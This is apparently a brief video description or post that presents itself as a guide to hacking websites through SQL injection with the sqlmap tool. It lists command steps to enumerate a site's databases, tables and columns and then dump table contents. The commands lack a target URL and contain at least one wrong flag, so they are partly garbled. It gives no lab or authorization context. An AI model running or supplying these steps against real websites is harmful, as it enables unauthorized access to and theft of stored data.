Since alot of people don't know how to SQL Inject a website using sqlmap i have made this video and explain how to hack a website using sqlmap.

Steps:
cd /pentest/database/sqlmap
python sqlmap.py -u --dbs
python sqlmap.py -u -D databasenamehere --tables
python sqlmap.py -u -T tablesnamehere --columns
python sqlmap.py -u -T tablesnamehere -U test --dump